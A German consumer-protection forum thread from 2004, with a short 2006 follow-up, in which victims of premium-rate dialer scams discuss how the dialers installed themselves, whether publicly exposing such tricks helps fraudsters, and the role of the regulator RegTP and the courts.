Wieder ein mal ein schönes Beispiel dafür was sich die Jungs doch alles einfallen lassen um an unser Geld zu kommen :/

Opfer


----------



## johinos (18 Januar 2004)

*Hexer ohne .exe*

Und wie muss der User das Pferd aufzäumen, um das notfalls zu beweisen, was muss er auf seinem Rechner finden?


----------



## Anonymous (18 Januar 2004)

Total völlig anonyme 'Waldtrau' aus Berlin schrieb:
			
		

> Na dann sollte der "Sehnerv direkt ins Hirn geleitet" Mode angeschaltet werden: Die Stichproben mach die Regtp -> nicht der Dau. Kann er ja auch garnicht. Sein Blut sammelt sich gerade im Schwellkörper und findet keinen Weg ins Hirn.
> 
> Waldtrau die sich auch im Wald traut


Und weil das so ist, gibt man der RegTP die Quell-URL, wo sie suchen darf und lässt die anderen außen vor. Aber der Dau kann die RegTP dann drauf hinweisen, damit die Datenbank von dem ganzen Müll bereinigt...


----------



## Opfer (18 Januar 2004)

*Re: Hexer ohne .exe*



			
				johinos schrieb:
			
		

> Und wie muss der User das Pferd aufzäumen, um das notfalls zu beweisen, was muss er auf seinem Rechner finden?



Tja, genau das frage ich mich auch. Da der bei mir eingesetzte Dialer ja eine Selbst-lösch-Funktion hatte, wird das mit dem Beweisen schwer. Deswegen bin ich daran das ganze zu rekonstruieren, und vergleichbare Seiten aufzuzeigen.

Opfer


----------



## [email protected] (18 Januar 2004)

Jetzt mal im Ernst:

Wenn ihr hier angebliche Abzock-Tricks aufdeckt, werdet ihr damit den Abzockern nicht gerade Einhalt gebieten.
Genug Dialeranbieter lesen hier mit und könnten ja auf dumme Gedanken kommen...


----------



## Der Jurist (18 Januar 2004)

[email protected] schrieb:
			
		

> Jetzt mal im Ernst:
> 
> Wenn ihr hier angebliche Abzock-Tricks aufdeckt, werdet ihr damit den Abzockern nicht gerade Einhalt gebieten.
> Genug Dialeranbieter lesen hier mit und könnten ja auf dumme Gedanken kommen...



Du etwa ?


----------



## Opfer (18 Januar 2004)

[email protected] schrieb:
			
		

> Jetzt mal im Ernst:
> 
> Wenn ihr hier angebliche Abzock-Tricks aufdeckt, werdet ihr damit den Abzockern nicht gerade Einhalt gebieten.
> Genug Dialeranbieter lesen hier mit und könnten ja auf dumme Gedanken kommen...



Auf was für Gedanken sollten die denn kommen ? 

Opfer


----------



## haudraufundschluss (18 Januar 2004)

[email protected] schrieb:
			
		

> Wenn ihr hier angebliche Abzock-Tricks aufdeckt, werdet ihr damit den Abzockern nicht gerade Einhalt gebieten.



Also konstruktive Kritik ist hier selbstverständlich willkommen. Wenn Dir was besseres einfällt, als die Füßchen stille zu halten und sich die Taschen entleeren zu lassen, dann würde das den einen oder anderen hier sicher interessieren. Um gar zu sagen: Dann bist Du hier in diesem Forum genau richtig.


----------



## Anonymous (18 Januar 2004)

Den Hinweis von [email protected] würde ich auch ganz gern mal kommentieren:

gerade in letzter Zeit legen die Forenmitglieder ganz schön an Professionalität zu - d. h. die Art und Weise der "Gewinnoptimierung" wird immer öfter behelligt.
Nun gibt es jedoch verschiedene Arten und Möglichkeiten, sich auf dem Dialergebiet eine goldene Nase zu verdienen. Jedes Detail einzelner Varianten, dass hier für die erfolgreiche Abzocke explizit offen dargestellt wird, genügt den mitlesenden Initaitoren der Dialerlique, ihre Arbeitsweise den Marterfordernissen (und vor allem der behördlichen Ermittlungen, die u. U. gegen sie laufen) anzupassen.

__________________________________________
Vom Terrorismus zum Aktionismus, oder - wie sich unterschiedliche Betrachtungsweisen in einen Topf schmeißen lassen.


----------



## Counselor (18 Januar 2004)

anna schrieb:
			
		

> Jedes Detail einzelner Varianten, dass hier für die erfolgreiche Abzocke explizit offen dargestellt wird, genügt den mitlesenden Initaitoren der Dialerlique, ihre Arbeitsweise den Marterfordernissen (und vor allem der behördlichen Ermittlungen, die u. U. gegen sie laufen) anzupassen.



Du meinst also, die Aktivitäten einiger Forumsleser wären kontraproduktiv zu den polizeilichen Ermittlungen?


----------



## johinos (18 Januar 2004)

*Hü oder Hott?*

Tja, Wasser vorher abgraben durch Aufklärung, oder mit dem Bade ausschütten Richtung Stadelheim?


----------



## Anonymous (18 Januar 2004)

*Re: Hü oder Hott?*



			
				johinos schrieb:
			
		

> Tja, Wasser vorher abgraben...


Genau so meinte ich das!

@Jo - leider sitzen die wenigsten nealy Stadelheim, weshalb sich auch das Posting erst ergeben hatte.

Insbesondere bitte ich freundlichst zur Kennntis zu nehmen, dass man sowohl auf Mallorca, als auch in Holland oder sonstewo, diesem Forum Aufmerksamkeit zollt.


----------



## Qoppa (18 Januar 2004)

Daß diese Informationen hier kontraproduktiv sind, kann ich nicht glauben. Wenn die Mißbrauchsmöglichkeiten immer besser dokumentiert und damit immer weiter bekannt werden, kann das nur nutzen. Das Angenehme an einem Rechtsstaat ist ja, daß die Entscheidung letztlich vor Gericht fällt. Wenn die Gerichte die Manipulationsmöglichkeiten in ihrer Tragweite erfassen, heißt das, daß immer weniger mehrwertdienstfreundliche Urteile ergehen werden (--> Beweislastumkehr, --> Vertragsabschluß muß nachgewiesen, was i. d. R. unmöglich ist).

Ich glaube ja nicht an "legale" und "gesetzeskonforme" Dialer. Wenn alles manipuliert werden kann, heißt das, man kann x-mal "OK drücken" vorschreiben, sogar Passwort und sonstwas, - wenn die Richter das endlich verstehen, werden sie´s nicht als Beweis eines Vertragsabschlußes anerkennen, und dann:

GOOD BYE MEHRWERTDIENSTE!


----------



## Anonymous (18 Januar 2004)

Der Genervte schrieb:
			
		

> @Qoppa
> Dein Eifer in Ehren - aber könnte es sein, das Du es etwas zu optimistisch siehst?


----------



## Qoppa (19 Januar 2004)

Vielleicht, - aber es ist auch nur "in the long run" gemeint. 

Wenn denn das normale BGB auch im Internet und bei den Mehrwertdiensten Einzug hält, MUSS dies allerdings das Ergebnis sein: denn dann muß der Verkäufer/Dienstanbieter seine Leistungen nachweisen. Ein notorisch manipulationsbehaftetes Verkaufssystem wird das nicht leisten können - in the long run, versteht sich.

Das ist im Grunde das letztlich doch beruhigende Fazit (bei allem Stress, der auf dem Weg dorthin liegt), das ich aus der Lektüre der vielen Diskussionen hier ziehe. Aber in ein paar Jahren mögen die Betrüger dann ganz andere Spielwiesen gefunden haben ... Die menschliche Niedertracht stirbt nicht aus, - aber man kann und sollte und muß sie bekämpfen. Und wenn man das, wie hier, noch mit einem gewissen intellektuellen Vergnügen verbinden kann ---


----------



## cicojaka (19 Januar 2004)

Qoppa schrieb:
			
		

> Daß diese Informationen hier kontraproduktiv sind, kann ich nicht glauben. Wenn die Mißbrauchsmöglichkeiten immer besser dokumentiert und damit immer weiter bekannt werden, kann das nur nutzen. Das Angenehme an einem Rechtsstaat ist ja, daß die Entscheidung letztlich vor Gericht fällt. Wenn die Gerichte die Manipulationsmöglichkeiten in ihrer Tragweite erfassen, heißt das, daß immer weniger mehrwertdienstfreundliche Urteile ergehen werden (--> Beweislastumkehr, --> Vertragsabschluß muß nachgewiesen, was i. d. R. unmöglich ist).
> 
> Ich glaube ja nicht an "legale" und "gesetzeskonforme" Dialer. Wenn alles manipuliert werden kann, heißt das, man kann x-mal "OK drücken" vorschreiben, sogar Passwort und sonstwas, - wenn die Richter das endlich verstehen, werden sie´s nicht als Beweis eines Vertragsabschlußes anerkennen, und dann:
> 
> GOOD BYE MEHRWERTDIENSTE!




Das ist wohl eine Strategiedebatte. Schade, dass man die nicht nicht-öffentlich führen kann 

Es ist eher ein Feldexperiment mit unsicherem Ausgang und es macht mir viel Kopfzerbrechen, mich evtl. aktiv an einer Strategie zu beteiligen, die sich als kontraproduktiv erweisen könnte.

Ich neige dazu, Qoppas Theorie zu befürworten, trotz Annas Bedenken, die ich aber nicht ganz vom Tisch wischen kann und will. Ich denke, dass keiner sagen kann, wie es besser ist. 

Oder sollte man hier nichts mehr schreiben und alles der RegTP überlassen? Hmm, wenn ich's nur wüsste...


----------



## Der Jurist (19 Januar 2004)

Zur Strategie-Debatte:


Ich gehe davon aus, dass hier im Forum die Diskussion immer nachlaufend ist. Also ein oder mehrere Mehrwerdienstanbieter haben die hier diskutierten Tricks bereits eingesetzt.

Wenn dem so ist, kann man niemand mehr auf dumme Gedanken bringen, weil es bereits geschehen ist.

Zwar ist es möglich, dass in einer kurzen Übergangszeit, der Trick noch funktioniert, weil eine Gegenstrategie noch nicht ausgereift ist.

Aber anderseits muss jeder Mehrwertdienstanbieter damit rechnen, dass sein Trick bereits nicht mehr zieht, wenn er vor dem Amtsgericht seine angebliche Forderung geltend machen will.

Aus diesem Grund bin ich weiter für eine offene Diskussion. Der Nutzen überwiegt die Nachteile bei weitem.

Allerdings gilt dies vorallem für die zivilrechtliche Auseinandersetzung. 

Da die meisten Betroffenen in erster Linie ein zivilrechtliches Problem haben, muss dies im Vordergrund stehen.

Die strafrechtliche Seite habe die ermittelnden Stellen selber im Griff oder sollten sie zumindest haben.
Nutzer, die von Ermittlungsbehörden um Zurückhaltung gebeten werden, werde diese sicherlich für eine bestimmte Zeit auch üben.
Damit muss es aber vorbei sein, wenn es darum geht den Zivilprozeß zu gewinnen.


----------



## Anonymous (19 Januar 2004)

Der Jurist schrieb:
			
		

> Die strafrechtliche Seite habe die ermittelnden Stellen selber im Griff oder sollten sie zumindest haben.



Also mal angenommen, ich würde auf einer Internetseite beschreiben, wie Herr X aus Y mit einem Trick 10.000 Kunden der Z-Bank um jeweils 100 Euro betrogen hat. Schaden: 1 Million. Würden dann die Ermittler von sich aus aktiv werden, oder müsste jemand Herrn X anschwärzen? Oder würden die sagen, das ist eine Sache der jeweils einzeln Betroffenen?

f.


----------



## Heiko (19 Januar 2004)

Die Ermittler müssten zumindest mal mitkriegen, dass was läuft. Von nix kommt nix.


----------



## Der Jurist (19 Januar 2004)

Anonymous schrieb:
			
		

> Der Jurist schrieb:
> 
> 
> 
> ...



Darum ging es in meinem Posting nicht. Selbstverständlich können Ermittler nur ermitteln, wenn sie wissen, dass es etwas zu ermitteln gibt.
Strafanzeigen helfen hier ungemein, auch wenn sie eigentlich von Amts wegen ermitteln müssten.

Allerdings, wenn es darum geht, Informationen nicht zu verbreiten, damit die Ermittler weiter ermitteln können, dann sollte man auf diesen Wunsch eingehen, es sei denn man gefährdet seinen eigenen Erfolg im Zivilprozess.

Wegen des Erfolgs im eigenen Zivilprozess kann es unerlässlich sein, dass man sich mit anderen Geschädigten austauscht.


----------



## cicojaka (22 Januar 2004)

Opfer schrieb:
			
		

> Oki, neue Erkentnisse:
> 
> Die Dialer sind in manchen Fällen offenbar gar nicht als *.exe Datei auf einem Server abgelegt, sondern kommen "als Hex-Code daher". Das bedeuted konkret:
> 
> ...



Da ich mitverantwortlich dafür bin, dass dieser Faden etwas verwickelt wurde  möchte ich diesen interessanten Beitrag komplett zitieren, ihn inhaltlich unterschreiben und die Frage stellen: Was passiert da nun genau? Wie viel Rechte kriegt jemand durch ein Sicherheitszertifikat? Kann der alles bei mir machen oder gibt es da irgendwelche Grenzen? Was ist dieses Sicherheitszertifikat wert?


----------



## Der Genervte (23 Januar 2004)

@fischchen

Es werden Daten aus dem Internet geladen. Aus diesen Daten wird auf Deinem Rechner eine Datei gebastelt.

Die Frage der Rechte (Dateien, Scripte oder Zertifikate)ist immer im wesentlichen Abhängig von den Rechten, die der gerade angemeldete User hat.
In der Regel also admistrative Rechte - übel.


----------



## cicojaka (23 Januar 2004)

Nun denn, aber das alles zusammen muss doch bei der RegTP zu gewissen Zweifeln führen, was die PRINZIPIELLE Legalität von Einwahlprogrammen betrifft, die solchen Schnickschnack verwenden. Denn zur Herstellung einer Internetverbindung zu einer bestimmten Nummer ist das doch alles nicht nötig. Wozu dann???

Also müssten die doch alles verbieten, wenn es POTENZIELL schädlich ist und wenn bekannt ist, dass eine Firma die Möglichkeiten der Manipulation eingesetzt hat, müsste sie weg vom Markt. Wenn man dann noch den Telekommunikationsunternehmen wie in-telegence die Pfliocht auferlegt, sich ihre Kunden genau anzuschauen, dann wäre ein effektiver Schutz denkbar. Wenn das das Ende der Mehrwertdiesnte wäre, dann ist es halt das Ende der Mehrwertdienste. Verbraucherschutz geht hier vor!

DAS müsste man mal Frau Künast mitteilen. Als grüner Parteifreund sollte ich zurückhaltend sein, aber ich kann mir nicht verkneifen, darauf hinzuweisen, dass Verbraucherschutz den Verbraucher schützen soll vor dem, der ihm Übles will - und nicht den, der dem Verbraucher Übles will vor dem Verbraucher, der sich das nicht gefallen lassen will. Sei er betroffen oder nicht... Wenn die Entscheidungsträger beim Mehrwertdienstegesetz Nachhilfe brauchen, sollen sie doch hier mal eine Woche lesen...

zunehmend verärgert

fischchen


----------



## Der Genervte (23 Januar 2004)

@fischchen

Die RegTP prüft grundsätzlich erst bei Beschwerden oder begründetem Verdacht. Würden die JEDEN Dialer vor der Genehmigung überprüfen müssen, hätten wir keine Arbeitslosen mehr (außer vielleicht bei den Dialer-Mitverdienern).

Potentiell schädlich ist alles. Der Anbieter eines "Produkts" obliegt es dieses sicher zu gestalten (mit Ausnahmen (Arzneimittel, gefährliche Güter,...), nicht das gleich wieder gemeckert wird!) und erst im Schadensfall wird nachkontrolliert.

Verbraucherschutz bedeutet ja wohl mehr: Schutz vor weniger Konsum durch den Verbraucher. Denn der Verbraucher wußte vor der "Zwangsbeglückung" nur noch nicht, was und warum er etwas brauchte. Und wenn er es hinterher nicht kapierte - ist doch nicht Schuld des Anbieters. Anders kann ich diese Gesetze nicht interpretieren.

Und was unsere Politiker betrifft - egal welcher Coleur: wenn sie an die Macht wollen, versprechen sie alles. Wenn sie dann erst einmal was zu sagen hätten hat man den Eindruck, sie würden nicht vom Volke, sondern von 'anderer Seite' bezahlt werden.
Und, im Speziellen unsere grünen 'Freunde': was haben sie früher nicht alles versprochen, Basisdemokratie, Volksentscheide, ........ und mittlerweile tröten sie auch nur noch ins Horn:" Wir wissen besser als das Volk, was gut ist!"


----------



## cicojaka (23 Januar 2004)

Der Genervte schrieb:
			
		

> @fischchen
> 
> Die RegTP prüft grundsätzlich erst bei Beschwerden oder begründetem Verdacht.



Ich beschwere mich seit Anfang Dezember über den von mir so geliebten Dialer der tschechisch-holländisch-(ungarisch?)-deutsch-schweizerischen Klopapierholding, entweder sie haben zu viel Arbeit oder mein Verdacht ist nicht begründet

@klopapierholding:  [url]http://www.webwereld.nl/nieuws/9522.phtml [/url] (leider holländisch, ich verstehe eben nur Klopapier)

Dann arbeitet die RegTP meiner Meinung nach eben nicht effektiv genug, kann also ihren "Auftrag" nicht erfülen, ergo: Die Politiker müssen reagieren.

Muss man ihnen wohl bei Gelegenheit mitteilen...

f.


----------



## technofreak (23 Januar 2004)

so ganz taufrisch ist der Artikel nicht : Maandag, 17 december 2001

es geht um eine Streiterei zwischen der Toilettenpapierfirma  mit dem den Domainnamen w*w.pagepuppy.nl.

und einem amerikanischen Multinational Konzern Kimberley-Clark, die  ein Suchportal w*w.page.nl betrieben 

und sich darüber in die Haare gekriegt haben.


----------



## Der Genervte (23 Januar 2004)

Ähhmmm, welche Behörde arbeitet denn effektiv???


 

Und, ob es was nützt den Politikern mitzuteilen, das was nicht so funzt, wie es vorgesehen ist, da hab ich meine Zweifel - die sind ALLE schon zu abgehoben.
Siehe: Gesundheits-"Reform", (Hohl-)Dosenpfand, Maut, Harz I-IV,.....

 :bash:


----------



## Qoppa (24 Januar 2004)

fischchen schrieb:
			
		

> ... was die PRINZIPIELLE Legalität von Einwahlprogrammen betrifft, .......
> 
> Also müssten die doch alles verbieten, wenn es POTENZIELL schädlich ist
> .....
> Wenn das das Ende der Mehrwertdiesnte wäre, dann ist es halt das Ende der Mehrwertdienste.



Ich finde, Du triffst hier den Nagel auf den Kopf. Dazu dient doch die ganze Arbeit hier.

Und ich finde nicht, daß das ein Grund ist, verärgert zu sein.


----------



## Rahmat (25 Januar 2004)

fischchen schrieb:
			
		

> ... aber ich kann mir nicht verkneifen, darauf hinzuweisen, dass Verbraucherschutz den Verbraucher schützen soll vor dem, der ihm Übles will - und nicht den, der dem Verbraucher Übles will vor dem Verbraucher, der sich das nicht gefallen lassen will....



Lustig, woher nimmst Du Deinen Idealismus.   
Und soviel Idealismus ist doch ganz schön anstregend, wenn man merkt, dass er mit der Realität gar nicht übereinstimmt.

Also alleine vom Wort her, ist doch beides denkbar.

Und wie unser Altmeister Janosch schon immer sagte:
"...Alles ist anders, nämlich genau umgekehrt ..." oder so ähnlich.

Ach ja und das ganze erinnert mich auch daran, wie Sascha, dialerfucker und ich über die Rollenverteilung in dieser unseren Welt sinniert haben   :
http://forum.computerbetrug.de/viewtopic.php?t=426&highlight=feuerwehr+schlafen
 Rahmat


----------



## Mr.Scrut (4 Februar 2004)

*Mr.Scrut*



			
				Opfer schrieb:
			
		

> Tja, genau das frage ich mich auch. Da der bei mir eingesetzte Dialer ja eine Selbst-lösch-Funktion hatte, wird das mit dem Beweisen schwer. Deswegen bin ich daran das ganze zu rekonstruieren, und vergleichbare Seiten aufzuzeigen.
> 
> Opfer



@Opfer:

Ich konnte die web.exe sichern. Hab ich auch schon im Matlock-Thread geschrieben. Erstaunlicherweise zeigt sie beim Start alles so an, wie in der RegTP-Datenbank (Eintrag 17.12.) beschrieben. Das heißt, man muss 'ja' eingeben, Preise, Nummer usw. werden angezeigt. Ich habe aber in meinem Fall, wo es zur Verbindung kam nie bestätigt bzw 'ja' eingegeben. Da Datum und Uhrzeit der Erstellung der Datei mit dem Zeitpunkt der Verbindung übereinstimmen kann es sich auch nicht um eine andere web.exe handeln. 
Soll heissen, das die Datei womöglich mit Übergabe von Parametern auch ohne Bestätigungseingabe gestartet werden kann. Da Du dich ja mit der Materie auszukennen scheinst, kann ich Dir die Datei gerne zur Verfügung stellen, wenn du was zum testen brauchst...

Mr.Scrut


----------



## johinos (4 Februar 2004)

*Verbindung ohne Bestätigung*



			
				Mr.Scrut schrieb:
			
		

> Ich habe aber in meinem Fall, wo es zur Verbindung kam nie bestätigt bzw 'ja' eingegeben. Da Datum und Uhrzeit der Erstellung der Datei mit dem Zeitpunkt der Verbindung übereinstimmen kann es sich auch nicht um eine andere web.exe handeln.
> Soll heissen, das die Datei womöglich mit Übergabe von Parametern auch ohne Bestätigungseingabe gestartet werden kann.


 Inzwischen ist man ja davon ab, bei derartigen Äußerungen noch dreimal zu fragen, ob da nicht doch ein kleines "jein" eingegeben wurde...
Das heißt doch, die web.exe ist ein Fall für den Staatsanwalt. Gibt es denn noch keine Strafakte, in der ein aussagekräftiges Gutachten drin ist?


----------



## Anonymous (5 Februar 2004)

Servus Jo, Akte ist da und wird immer dicker!


----------



## Captain Picard (10 Januar 2006)

Kleine Nachlese:
http://forum.computerbetrug.de/viewtopic.php?p=36582#36582


			
				Moritz schrieb:
			
		

> Jetzt wird es langsam lächerlich.


http://forum.computerbetrug.de/viewtopic.php?p=36601#36601


			
				Max Grimm schrieb:
			
		

> Moritz schrieb:
> 
> 
> 
> ...


http://forum.computerbetrug.de/viewtopic.php?t=7139


> Vorsicht Falle: Wenn die Dialer-Seite selbst „OK“ eintippt


Automatisches  OK  nein, niemals ....
http://forum.computerbetrug.de/viewtopic.php?t=9505


> Aufgedeckt: Automatische Einwahl statt registriertem Dialer


cp


----------



## Aka-Aka (10 Januar 2006)

> Ihr habt folgende Filme zu oft gesehen und zu ernst genommen: James Bond, *Matrix*, Gladiator und zu letzt natürlich "Findet Nemo"


Besonders diesen Film habe ich oft gesehen, öfter als mir lieb war... Habe ich heute schon gegen die Ermittler gestichelt? (ich hoffe ja, dass die "Ermittler", die tatsächlich ermittelt haben, verstehen, dass dann die Stichelei direkt nach oben weiter gegeben werden kann, wo man die Ermittlungen nicht verstand? nicht verstehen wollte? was auch immer?). 
Mein persönlicher Dauerbrenner ist aber der Film "Wie heisst Rumpelstilzchen?". Na klar, "Rumpelstilzchen" - aber mit Nachnamen???


----------

